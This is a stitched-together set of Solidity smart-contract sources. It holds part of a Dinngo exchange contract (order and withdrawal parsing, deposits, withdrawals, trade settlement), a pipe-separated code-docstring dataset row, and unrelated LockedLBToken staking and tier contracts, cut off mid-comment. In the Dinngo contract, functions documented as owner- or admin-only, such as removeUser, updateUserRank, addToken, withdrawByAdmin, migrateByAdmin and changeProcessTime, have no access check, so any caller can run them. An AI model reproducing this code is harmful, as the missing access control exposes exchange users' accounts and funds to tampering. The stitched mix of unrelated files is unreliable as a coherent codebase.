tradeFee = ser_data.toUint(ORDER_SIZE - 109);
}
/**
* @notice Get gas fee from the serialized order data
* @param ser_data Serialized order data
* @return fee Fee amount
*/
function _getOrderGasFee(bytes memory ser_data) internal pure returns (uint256 gasFee) {
gasFee = ser_data.toUint(ORDER_SIZE - 141);
}
/**
* @notice Get v from the serialized order data
* @param ser_data Serialized order data
* @return v Signature v
*/
function _getOrderV(bytes memory ser_data) internal pure returns (uint8 v) {
v = ser_data.toUint8(ORDER_SIZE - 142);
}
/**
* @notice Get r from the serialized order data
* @param ser_data Serialized order data
* @return r Signature r
*/
function _getOrderR(bytes memory ser_data) internal pure returns (bytes32 r) {
r = ser_data.toBytes32(ORDER_SIZE - 174);
}
/**
* @notice Get s from the serialized order data
* @param ser_data Serialized order data
* @return s Signature s
*/
function _getOrderS(bytes memory ser_data) internal pure returns (bytes32 s) {
s = ser_data.toBytes32(ORDER_SIZE - 206);
}
/**
* @notice Get hash from the serialized order data
* @param ser_data Serialized order data
* @return hash Order hash without signature
*/
function _getOrderHash(bytes memory ser_data) internal pure returns (bytes32 hash) {
hash = keccak256(ser_data.slice(65, UNSIGNED_ORDER_SIZE));
}
/**
* @notice Fetch the serialized order data with the given index
* @param ser_data Serialized order data
* @param index The index of order to be fetched
* @return order_data The fetched order data
*/
function _getOrder(bytes memory ser_data, uint index) internal pure returns (bytes memory order_data) {
require(index < _getOrderCount(ser_data));
order_data = ser_data.slice(ORDER_SIZE.mul(index), ORDER_SIZE);
}
/**
* @notice Count the order amount
* @param ser_data Serialized order data
* @return amount Order amount
*/
function _getOrderCount(bytes memory ser_data) internal pure returns (uint256 amount) {
amount = ser_data.length.div(ORDER_SIZE);
}
}
/**
* @title Serializable Withdrawal
* @author Ben Huang
* @notice Let withdrawal support serialization and deserialization
*/
contract SerializableWithdrawal {
using SafeMath for uint256;
using BytesLib for bytes;
uint constant public WITHDRAWAL_SIZE = 140;
uint constant public UNSIGNED_WITHDRAWAL_SIZE = 75;
uint8 constant internal _MASK_IS_ETH = 0x01;
/**
* @notice Get user ID from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return userID User ID
*/
function _getWithdrawalUserID(bytes memory ser_data) internal pure returns (uint256 userID) {
userID = ser_data.toUint32(WITHDRAWAL_SIZE - 4);
}
/**
* @notice Get token ID from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return tokenID Withdrawal token ID
*/
function _getWithdrawalTokenID(bytes memory ser_data) internal pure returns (uint256 tokenID) {
tokenID = ser_data.toUint16(WITHDRAWAL_SIZE - 6);
}
/**
* @notice Get amount from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return amount Withdrawal token amount
*/
function _getWithdrawalAmount(bytes memory ser_data) internal pure returns (uint256 amount) {
amount = ser_data.toUint(WITHDRAWAL_SIZE - 38);
}
/**
* @notice Check if the fee is paid by main token
* @param ser_data Serialized withdrawal data
* @return fETH Is the fee paid in ETH or DGO
*/
function _isWithdrawalFeeETH(bytes memory ser_data) internal pure returns (bool fFeeETH) {
fFeeETH = (ser_data.toUint8(WITHDRAWAL_SIZE - 39) & _MASK_IS_ETH != 0);
}
/**
* @notice Get nonce from the serialized withrawal data
* @param ser_data Serialized withdrawal data
* @return nonce Nonce
*/
function _getWithdrawalNonce(bytes memory ser_data) internal pure returns (uint256 nonce) {
nonce = ser_data.toUint32(WITHDRAWAL_SIZE - 43);
}
/**
* @notice Get fee amount from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return fee Fee amount
*/
function _getWithdrawalFee(bytes memory ser_data) internal pure returns (uint256 fee) {
fee = ser_data.toUint(WITHDRAWAL_SIZE - 75);
}
/**
* @notice Get v from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return v Signature v
*/
function _getWithdrawalV(bytes memory ser_data) internal pure returns (uint8 v) {
v = ser_data.toUint8(WITHDRAWAL_SIZE - 76);
}
/**
* @notice Get r from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return r Signature r
*/
function _getWithdrawalR(bytes memory ser_data) internal pure returns (bytes32 r) {
r = ser_data.toBytes32(WITHDRAWAL_SIZE - 108);
}
/**
* @notice Get s from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return s Signature s
*/
function _getWithdrawalS(bytes memory ser_data) internal pure returns (bytes32 s) {
s = ser_data.toBytes32(WITHDRAWAL_SIZE - 140);
}
/**
* @notice Get hash from the serialized withdrawal data
* @param ser_data Serialized withdrawal data
* @return hash Withdrawal hash without signature
*/
function _getWithdrawalHash(bytes memory ser_data) internal pure returns (bytes32 hash) {
hash = keccak256(ser_data.slice(65, UNSIGNED_WITHDRAWAL_SIZE));
}
}
/**
* @title Dinngo
* @author Ben Huang
* @notice Main exchange contract for Dinngo
*/
contract Dinngo is SerializableOrder, SerializableWithdrawal, SerializableMigration {
// Storage alignment
address private _owner;
mapping (address => bool) private admins;
uint256 private _nAdmin;
uint256 private _nLimit;
// end
using ECDSA for bytes32;
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 public processTime;
mapping (address => mapping (address => uint256)) public balances;
mapping (bytes32 => uint256) public orderFills;
mapping (uint256 => address payable) public userID_Address;
mapping (uint256 => address) public tokenID_Address;
mapping (address => uint256) public userRanks;
mapping (address => uint256) public tokenRanks;
mapping (address => uint256) public lockTimes;
event AddUser(uint256 userID, address indexed user);
event AddToken(uint256 tokenID, address indexed token);
event Deposit(address token, address indexed user, uint256 amount, uint256 balance);
event Withdraw(
address token,
address indexed user,
uint256 amount,
uint256 balance,
address tokenFee,
uint256 amountFee
);
event Trade(
address indexed user,
bool isBuy,
address indexed tokenBase,
uint256 amountBase,
address indexed tokenQuote,
uint256 amountQuote,
address tokenFee,
uint256 amountFee
);
event Lock(address indexed user, uint256 lockTime);
event Unlock(address indexed user);
/**
* @dev All ether directly sent to contract will be refunded
*/
function() external payable {
revert();
}
/**
* @notice Add the address to the user list. Event AddUser will be emitted
* after execution.
* @dev Record the user list to map the user address to a specific user ID, in
* order to compact the data size when transferring user address information
* @dev id should be less than 2**32
* @param id The user id to be assigned
* @param user The user address to be added
*/
function addUser(uint256 id, address payable user) external {
require(user != address(0));
require(userRanks[user] == 0);
require(id < 2**32);
if (userID_Address[id] == address(0))
userID_Address[id] = user;
else
require(userID_Address[id] == user);
userRanks[user] = 1;
emit AddUser(id, user);
}
/**
* @notice Remove the address from the user list.
* @dev The user rank is set to 0 to remove the user.
* @param user The user address to be added
*/
function removeUser(address user) external {
require(user != address(0));
require(userRanks[user] != 0);
userRanks[user] = 0;
}
/**
* @notice Update the rank of user. Can only be called by owner.
* @param user The user address
* @param rank The rank to be assigned
*/
function updateUserRank(address user, uint256 rank) external {
require(user != address(0));
require(rank != 0);
require(userRanks[user] != 0);
require(userRanks[user] != rank);
userRanks[user] = rank;
}
/**
* @notice Add the token to the token list. Event AddToken will be emitted
* after execution.
* @dev Record the token list to map the token contract address to a specific
* token ID, in order to compact the data size when transferring token contract
* address information
* @dev id should be less than 2**16
* @param id The token id to be assigned
* @param token The token contract address to be added
*/
function addToken(uint256 id, address token) external {
require(token != address(0));
require(tokenRanks[token] == 0);
require(id < 2**16);
if (tokenID_Address[id] == address(0))
tokenID_Address[id] = token;
else
require(tokenID_Address[id] == token);
tokenRanks[token] = 1;
emit AddToken(id, token);
}
/**
* @notice Remove the token to the token list.
* @dev The token rank is set to 0 to remove the token.
* @param token The token contract address to be removed.
*/
function removeToken(address token) external {
require(token != address(0));
require(tokenRanks[token] != 0);
tokenRanks[token] = 0;
}
/**
* @notice Update the rank of token. Can only be called by owner.
* @param token The token contract address.
* @param rank The rank to be assigned.
*/
function updateTokenRank(address token, uint256 rank) external {
require(token != address(0));
require(rank != 0);
require(tokenRanks[token] != 0);
require(tokenRanks[token] != rank);
tokenRanks[token] = rank;
}
/**
* @notice The deposit function for ether. The ether that is sent with the function
* call will be deposited. The first time user will be added to the user list.
* Event Deposit will be emitted after execution.
*/
function deposit() external payable {
require(!_isLocking(msg.sender));
require(msg.value > 0);
balances[address(0)][msg.sender] = balances[address(0)][msg.sender].add(msg.value);
emit Deposit(address(0), msg.sender, msg.value, balances[address(0)][msg.sender]);
}
/**
* @notice The deposit function for tokens. The first time user will be added to
* the user list. Event Deposit will be emitted after execution.
* @param token Address of the token contract to be deposited
* @param amount Amount of the token to be depositied
*/
function depositToken(address token, uint256 amount) external {
require(token != address(0));
require(!_isLocking(msg.sender));
require(_isValidToken(token));
require(amount > 0);
balances[token][msg.sender] = balances[token][msg.sender].add(amount);
emit Deposit(token, msg.sender, amount, balances[token][msg.sender]);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
}
/**
* @notice The withdraw function for ether. Event Withdraw will be emitted
* after execution. User needs to be locked before calling withdraw.
* @param amount The amount to be withdrawn.
*/
function withdraw(uint256 amount) external {
require(_isLocked(msg.sender));
require(_isValidUser(msg.sender));
require(amount > 0);
balances[address(0)][msg.sender] = balances[address(0)][msg.sender].sub(amount);
emit Withdraw(address(0), msg.sender, amount, balances[address(0)][msg.sender], address(0), 0);
msg.sender.transfer(amount);
}
/**
* @notice The withdraw function for tokens. Event Withdraw will be emitted
* after execution. User needs to be locked before calling withdraw.
* @param token The token contract address to be withdrawn.
* @param amount The token amount to be withdrawn.
*/
function withdrawToken(address token, uint256 amount) external {
require(token != address(0));
require(_isLocked(msg.sender));
require(_isValidUser(msg.sender));
require(_isValidToken(token));
require(amount > 0);
balances[token][msg.sender] = balances[token][msg.sender].sub(amount);
emit Withdraw(token, msg.sender, amount, balances[token][msg.sender], address(0), 0);
IERC20(token).safeTransfer(msg.sender, amount);
}
/**
* @notice The withdraw function that can only be triggered by owner.
* Event Withdraw will be emitted after execution.
* @param withdrawal The serialized withdrawal data
*/
function withdrawByAdmin(bytes calldata withdrawal) external {
address payable user = userID_Address[_getWithdrawalUserID(withdrawal)];
address wallet = userID_Address[0];
address token = tokenID_Address[_getWithdrawalTokenID(withdrawal)];
uint256 amount = _getWithdrawalAmount(withdrawal);
uint256 amountFee = _getWithdrawalFee(withdrawal);
address tokenFee = _isWithdrawalFeeETH(withdrawal)? address(0) : tokenID_Address[1];
uint256 balance = balances[token][user].sub(amount);
require(_isValidUser(user));
_verifySig(
user,
_getWithdrawalHash(withdrawal),
_getWithdrawalR(withdrawal),
_getWithdrawalS(withdrawal),
_getWithdrawalV(withdrawal)
);
if (tokenFee == token) {
balance = balance.sub(amountFee);
} else {
balances[tokenFee][user] = balances[tokenFee][user].sub(amountFee);
}
balances[tokenFee][wallet] =
balances[tokenFee][wallet].add(amountFee);
balances[token][user] = balance;
emit Withdraw(token, user, amount, balance, tokenFee, amountFee);
if (token == address(0)) {
user.transfer(amount);
} else {
IERC20(token).safeTransfer(user, amount);
}
}
/**
* @notice The migrate function the can only triggered by admin.
* Event Migrate will be emitted after execution.
* @param migration The serialized migration data
*/
function migrateByAdmin(bytes calldata migration) external {
address target = _getMigrationTarget(migration);
address user = userID_Address[_getMigrationUserID(migration)];
uint256 nToken = _getMigrationCount(migration);
require(_isValidUser(user));
_verifySig(
user,
_getMigrationHash(migration),
_getMigrationR(migration),
_getMigrationS(migration),
_getMigrationV(migration)
);
for (uint i = 0; i < nToken; i++) {
address token = tokenID_Address[_getMigrationTokenID(migration, i)];
uint256 balance = balances[token][user];
require(balance != 0);
balances[token][user] = 0;
if (token == address(0)) {
Migratable(target).migrateTo.value(balance)(user, token, balance);
} else {
IERC20(token).approve(target, balance);
Migratable(target).migrateTo(user, token, balance);
}
}
}
/**
* @notice The settle function for orders. First order is taker order and the followings
* are maker orders.
* @param orders The serialized orders.
*/
function settle(bytes calldata orders) external {
// Deal with the order list
uint256 nOrder = _getOrderCount(orders);
// Get the first order as the taker order
bytes memory takerOrder = _getOrder(orders, 0);
uint256 totalAmountBase = _getOrderAmountBase(takerOrder);
uint256 takerAmountBase = totalAmountBase.sub(orderFills[_getOrderHash(takerOrder)]);
uint256 fillAmountQuote = 0;
uint256 restAmountBase = takerAmountBase;
bool fBuy = _isOrderBuy(takerOrder);
// Parse maker orders
for (uint i = 1; i < nOrder; i++) {
// Get ith order as the maker order
bytes memory makerOrder = _getOrder(orders, i);
require(fBuy != _isOrderBuy(makerOrder));
uint256 makerAmountBase = _getOrderAmountBase(makerOrder);
// Calculate the amount to be executed
uint256 amountBase = makerAmountBase.sub(orderFills[_getOrderHash(makerOrder)]);
amountBase = amountBase <= restAmountBase? amountBase : restAmountBase;
uint256 amountQuote = _getOrderAmountQuote(makerOrder).mul(amountBase).div(makerAmountBase);
restAmountBase = restAmountBase.sub(amountBase);
fillAmountQuote = fillAmountQuote.add(amountQuote);
// Trade amountBase and amountQuote for maker order
_trade(amountBase, amountQuote, makerOrder);
}
// Sum the trade amount and check
takerAmountBase = takerAmountBase.sub(restAmountBase);
if (fBuy) {
require(fillAmountQuote.mul(totalAmountBase)
<= _getOrderAmountQuote(takerOrder).mul(takerAmountBase));
} else {
require(fillAmountQuote.mul(totalAmountBase)
>= _getOrderAmountQuote(takerOrder).mul(takerAmountBase));
}
// Trade amountBase and amountQuote for taker order
_trade(takerAmountBase, fillAmountQuote, takerOrder);
}
/**
* @notice Announce lock of the sender
*/
function lock() external {
require(!_isLocking(msg.sender));
lockTimes[msg.sender] = now.add(processTime);
emit Lock(msg.sender, lockTimes[msg.sender]);
}
/**
* @notice Unlock the sender
*/
function unlock() external {
require(_isLocking(msg.sender));
lockTimes[msg.sender] = 0;
emit Unlock(msg.sender);
}
/**
* @notice Change the processing time of locking the user address
*/
function changeProcessTime(uint256 time) external {
require(processTime != time);
processTime = time;
}
/**
* @notice Process the trade by the providing information
* @param amountBase The provided amount to be traded
* @param amountQuote The amount to be requested
* @param order The order that triggered the trading
*/
function _trade(uint256 amountBase, uint256 amountQuote, bytes memory order) internal {
require(amountBase != 0);
// Get parameters
address user = userID_Address[_getOrderUserID(order)];
address wallet = userID_Address[0];
bytes32 hash = _getOrderHash(order);
address tokenQuote = tokenID_Address[_getOrderTokenIDQuote(order)];
address tokenBase = tokenID_Address[_getOrderTokenIDBase(order)];
address tokenFee;
uint256 amountFee =
_getOrderTradeFee(order).mul(amountBase).div(_getOrderAmountBase(order));
require(_isValidUser(user));
// Trade and fee setting
if (orderFills[hash] == 0) {
_verifySig(user, hash, _getOrderR(order), _getOrderS(order), _getOrderV(order));
amountFee = amountFee.add(_getOrderGasFee(order));
}
bool fBuy = _isOrderBuy(order);
if (fBuy) {
balances[tokenQuote][user] = balances[tokenQuote][user].sub(amountQuote);
if (_isOrderFeeMain(order)) {
tokenFee = tokenBase;
balances[tokenBase][user] = balances[tokenBase][user].add(amountBase).sub(amountFee);
balances[tokenBase][wallet] = balances[tokenBase][wallet].add(amountFee);
} else {
tokenFee = tokenID_Address[1];
balances[tokenBase][user] = balances[tokenBase][user].add(amountBase);
balances[tokenFee][user] = balances[tokenFee][user].sub(amountFee);
balances[tokenFee][wallet] = balances[tokenFee][wallet].add(amountFee);
}
} else {
balances[tokenBase][user] = balances[tokenBase][user].sub(amountBase);
if (_isOrderFeeMain(order)) {
tokenFee = tokenQuote;
balances[tokenQuote][user] = balances[tokenQuote][user].add(amountQuote).sub(amountFee);
balances[tokenQuote][wallet] = balances[tokenQuote][wallet].add(amountFee);
} else {
tokenFee = tokenID_Address[1];
balances[tokenQuote][user] = balances[tokenQuote][user].add(amountQuote);
balances[tokenFee][user] = balances[tokenFee][user].sub(amountFee);
balances[tokenFee][wallet] = balances[tokenFee][wallet].add(amountFee);
}
}
// Order fill
orderFills[hash] = orderFills[hash].add(amountBase);
emit Trade
(
user,
fBuy,
tokenBase,
amountBase,
tokenQuote,
amountQuote,
tokenFee,
amountFee
);
}
/**
* @dev Check if the user is valid
* @param user The user address to be checked.
*/
function _isValidUser(address user) internal view returns (bool) {
return userRanks[user] != 0;
}
/**
* @dev Check if the token is valid
* @param token The token address to be checked.
*/
function _isValidToken(address token) internal view returns (bool) {
return tokenRanks[token] != 0;
}
/**
* @notice Verify if the data is signed by the given user and signature
* @param user The signing user
* @param hash The data hash to be verified
* @param r The signature R
* @param s The signature S
* @param v The signature V
*/
function _verifySig(address user, bytes32 hash, bytes32 r, bytes32 s, uint8 v) internal pure {
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
require(v == 27 || v == 28);
address sigAddr = ecrecover(hash.toEthSignedMessageHash(), v, r, s);
require(user == sigAddr);
}
/**
* @notice Return if the give user has announced lock
* @param user The user address to be queried
* @return Query result
*/
function _isLocking(address user) internal view returns (bool) {
return lockTimes[user] > 0;
}
/**
* @notice Return if the user is locked
* @param user The user address to be queried
*/
function _isLocked(address user) internal view returns (bool) {
return _isLocking(user) && lockTimes[user] < now;
}
}
|
* @notice Update the rank of token. Can only be called by owner. @param token The token contract address. @param rank The rank to be assigned./
|
function updateTokenRank(address token, uint256 rank) external {
require(token != address(0));
require(rank != 0);
require(tokenRanks[token] != 0);
require(tokenRanks[token] != rank);
tokenRanks[token] = rank;
}
| 15,834,860
|
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "./libraries/PoolDepositable.sol";
import "./libraries/Tierable.sol";
import "./libraries/Suspendable.sol";
import "./libraries/PoolVestingDepositable.sol";
/** @title LockedLBToken.
* @dev PoolDepositable contract implementation with tiers
*/
contract LockedLBToken is
Initializable,
PoolDepositable,
Tierable,
Suspendable,
PoolVestingDepositable
{
/**
* @notice Initializer
* @param _depositToken: the deposited token
* @param tiersMinAmount: the tiers min amount
* @param _pauser: the address of the account granted with PAUSER_ROLE
*/
function initialize(
IERC20Upgradeable _depositToken,
uint256[] memory tiersMinAmount,
address _pauser
) external initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__Poolable_init_unchained();
__Depositable_init_unchained(_depositToken);
__PoolDepositable_init_unchained();
__Tierable_init_unchained(tiersMinAmount);
__Pausable_init_unchained();
__Suspendable_init_unchained(_pauser);
__PoolVestingable_init_unchained();
__PoolVestingDepositable_init_unchained();
__LockedLBToken_init_unchained();
}
function __LockedLBToken_init_unchained() internal onlyInitializing {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function _deposit(
address,
address,
uint256
)
internal
pure
override(PoolDepositable, Depositable, PoolVestingDepositable)
returns (uint256)
{
revert("LockedLBToken: Must deposit with poolIndex");
}
function _withdraw(address, uint256)
internal
pure
override(PoolDepositable, Depositable, PoolVestingDepositable)
returns (uint256)
{
revert("LockedLBToken: Must withdraw with poolIndex");
}
function _withdraw(
address,
uint256,
uint256
)
internal
pure
override(PoolDepositable, PoolVestingDepositable)
returns (uint256)
{
revert("LockedLBToken: Must withdraw with on a specific pool type");
}
/**
* @notice Deposit amount token in pool at index `poolIndex` to the sender address balance
*/
function deposit(uint256 amount, uint256 poolIndex) external whenNotPaused {
PoolDepositable._deposit(_msgSender(), _msgSender(), amount, poolIndex);
}
/**
* @notice Withdraw amount token in pool at index `poolIndex` from the sender address balance
*/
function withdraw(uint256 amount, uint256 poolIndex)
external
whenNotPaused
{
PoolDepositable._withdraw(_msgSender(), amount, poolIndex);
}
/**
* @notice Batch deposits into a vesting pool
*/
function vestingBatchDeposits(
address from,
address[] memory to,
uint256[] memory amounts,
uint256 poolIndex
) external whenNotPaused onlyRole(DEFAULT_ADMIN_ROLE) {
PoolVestingDepositable._batchDeposits(from, to, amounts, poolIndex);
}
/**
* @notice Withdraw from a vesting pool
*/
function vestingWithdraw(uint256 amount, uint256 poolIndex)
external
whenNotPaused
{
PoolVestingDepositable._withdraw(_msgSender(), amount, poolIndex);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "./Poolable.sol";
import "./Depositable.sol";
/** @title PoolDepositable.
@dev This contract manage pool of deposits
*/
abstract contract PoolDepositable is
Initializable,
AccessControlUpgradeable,
Poolable,
Depositable
{
using SafeMathUpgradeable for uint256;
struct UserPoolDeposit {
uint256 poolIndex; // index of the pool
uint256 amount; // amount deposited in the pool
uint256 depositDate; // date of last deposit
}
struct BatchDeposit {
address to; // destination address
uint256 amount; // amount deposited
uint256 poolIndex; // index of the pool
}
// mapping of deposits for a user
mapping(address => UserPoolDeposit[]) private _poolDeposits;
/**
* @dev Emitted when a user deposit in a pool
*/
event PoolDeposit(
address indexed from,
address indexed to,
uint256 amount,
uint256 poolIndex
);
/**
* @dev Emitted when a user withdraw from a pool
*/
event PoolWithdraw(address indexed to, uint256 amount, uint256 poolIndex);
/**
* @notice Initializer
* @param _depositToken: the deposited token
*/
function __PoolDepositable_init(IERC20Upgradeable _depositToken)
internal
onlyInitializing
{
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__Poolable_init_unchained();
__Depositable_init_unchained(_depositToken);
__PoolDepositable_init_unchained();
}
function __PoolDepositable_init_unchained() internal onlyInitializing {}
/**
* @dev returns the index of a user's pool deposit (`UserPoolDeposit`) for the specified pool at index `poolIndex`
*/
function _indexOfPoolDeposit(address account, uint256 poolIndex)
private
view
returns (int256)
{
for (uint256 i = 0; i < _poolDeposits[account].length; i++) {
if (_poolDeposits[account][i].poolIndex == poolIndex) {
return int256(i);
}
}
return -1;
}
/**
* @dev returns the list of pool deposits for an account
*/
function poolDepositsOf(address account)
public
view
returns (UserPoolDeposit[] memory)
{
return _poolDeposits[account];
}
/**
* @dev returns the list of pool deposits for an account
*/
function poolDepositOf(address account, uint256 poolIndex)
external
view
returns (UserPoolDeposit memory poolDeposit)
{
int256 depositIndex = _indexOfPoolDeposit(account, poolIndex);
if (depositIndex > -1) {
poolDeposit = _poolDeposits[account][uint256(depositIndex)];
}
}
// block the default implementation
function _deposit(
address,
address,
uint256
) internal pure virtual override returns (uint256) {
revert("PoolDepositable: Must deposit with poolIndex");
}
// block the default implementation
function _withdraw(address, uint256)
internal
pure
virtual
override
returns (uint256)
{
revert("PoolDepositable: Must withdraw with poolIndex");
}
/**
* @dev Deposit tokens to pool at `poolIndex`
*/
function _deposit(
address from,
address to,
uint256 amount,
uint256 poolIndex
) internal virtual whenPoolOpened(poolIndex) returns (uint256) {
uint256 depositAmount = Depositable._deposit(from, to, amount);
int256 depositIndex = _indexOfPoolDeposit(to, poolIndex);
if (depositIndex > -1) {
UserPoolDeposit storage pool = _poolDeposits[to][
uint256(depositIndex)
];
pool.amount = pool.amount.add(depositAmount);
pool.depositDate = block.timestamp; // update date to last deposit
} else {
_poolDeposits[to].push(
UserPoolDeposit({
poolIndex: poolIndex,
amount: depositAmount,
depositDate: block.timestamp
})
);
}
emit PoolDeposit(from, to, amount, poolIndex);
return depositAmount;
}
/**
* @dev Withdraw tokens from a specific pool
*/
function _withdrawPoolDeposit(
address to,
uint256 amount,
UserPoolDeposit storage poolDeposit
)
private
whenUnlocked(poolDeposit.poolIndex, poolDeposit.depositDate)
returns (uint256)
{
require(
poolDeposit.amount >= amount,
"PoolDepositable: Pool deposit less than amount"
);
require(poolDeposit.amount > 0, "PoolDepositable: No deposit in pool");
uint256 withdrawAmount = Depositable._withdraw(to, amount);
poolDeposit.amount = poolDeposit.amount.sub(withdrawAmount);
emit PoolWithdraw(to, amount, poolDeposit.poolIndex);
return withdrawAmount;
}
/**
* @dev Withdraw tokens from pool at `poolIndex`
*/
function _withdraw(
address to,
uint256 amount,
uint256 poolIndex
) internal virtual returns (uint256) {
int256 depositIndex = _indexOfPoolDeposit(to, poolIndex);
require(depositIndex > -1, "PoolDepositable: Not deposited");
return
_withdrawPoolDeposit(
to,
amount,
_poolDeposits[to][uint256(depositIndex)]
);
}
/**
* @dev Batch deposits token in pools
*/
function batchDeposits(address from, BatchDeposit[] memory deposits)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
for (uint256 i = 0; i < deposits.length; i++) {
_deposit(
from,
deposits[i].to,
deposits[i].amount,
deposits[i].poolIndex
);
}
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./Depositable.sol";
import "../interfaces/ITierable.sol";
/** @title Tierable.
* @dev Depositable contract implementation with tiers
*/
abstract contract Tierable is
Initializable,
AccessControlUpgradeable,
Depositable,
ITierable
{
using EnumerableSet for EnumerableSet.AddressSet;
uint256[] private _tiersMinAmount;
EnumerableSet.AddressSet private _whitelist;
/**
* @dev Emitted when tiers amount are changed
*/
event TiersMinAmountChange(uint256[] amounts);
/**
* @dev Emitted when a new account is added to the whitelist
*/
event AddToWhitelist(address account);
/**
* @dev Emitted when an account is removed from the whitelist
*/
event RemoveFromWhitelist(address account);
/**
* @notice Initializer
* @param _depositToken: the deposited token
* @param tiersMinAmount: the tiers min amount
*/
function __Tierable_init(
IERC20Upgradeable _depositToken,
uint256[] memory tiersMinAmount
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__Depositable_init_unchained(_depositToken);
__Tierable_init_unchained(tiersMinAmount);
}
function __Tierable_init_unchained(uint256[] memory tiersMinAmount)
internal
onlyInitializing
{
_tiersMinAmount = tiersMinAmount;
}
/**
* @dev Returns the index of the tier for `account`
* @notice returns -1 if the total deposit of `account` is below the first tier
*/
function tierOf(address account) public view override returns (int256) {
// set max tier
uint256 max = _tiersMinAmount.length;
// check if account in whitelist
if (_whitelist.contains(account)) {
// return max tier
return int256(max) - 1;
}
// check balance of account
uint256 balance = depositOf(account);
for (uint256 i = 0; i < max; i++) {
// return its tier
if (balance < _tiersMinAmount[i]) return int256(i) - 1;
}
// return max tier if balance more than last tiersMinAmount
return int256(max) - 1;
}
/**
* @notice update the tiers brackets
* Only callable by owners
*/
function changeTiersMinAmount(uint256[] memory tiersMinAmount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_tiersMinAmount = tiersMinAmount;
emit TiersMinAmountChange(_tiersMinAmount);
}
/**
* @notice returns the list of min amount per tier
*/
function getTiersMinAmount() external view returns (uint256[] memory) {
return _tiersMinAmount;
}
/**
* @notice Add new accounts to the whitelist
* Only callable by owners
*/
function addToWhitelist(address[] memory accounts)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
for (uint256 i = 0; i < accounts.length; i++) {
bool result = _whitelist.add(accounts[i]);
if (result) emit AddToWhitelist(accounts[i]);
}
}
/**
* @notice Remove an account from the whitelist
* Only callable by owners
*/
function removeFromWhitelist(address[] memory accounts)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
for (uint256 i = 0; i < accounts.length; i++) {
bool result = _whitelist.remove(accounts[i]);
if (result) emit RemoveFromWhitelist(accounts[i]);
}
}
/**
* @notice Remove accounts from whitelist
* Only callable by owners
*/
function getWhitelist()
external
view
onlyRole(DEFAULT_ADMIN_ROLE)
returns (address[] memory)
{
return _whitelist.values();
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
/** @title RoleBasedPausable.
* @dev Contract module which allows children to implement an emergency stop
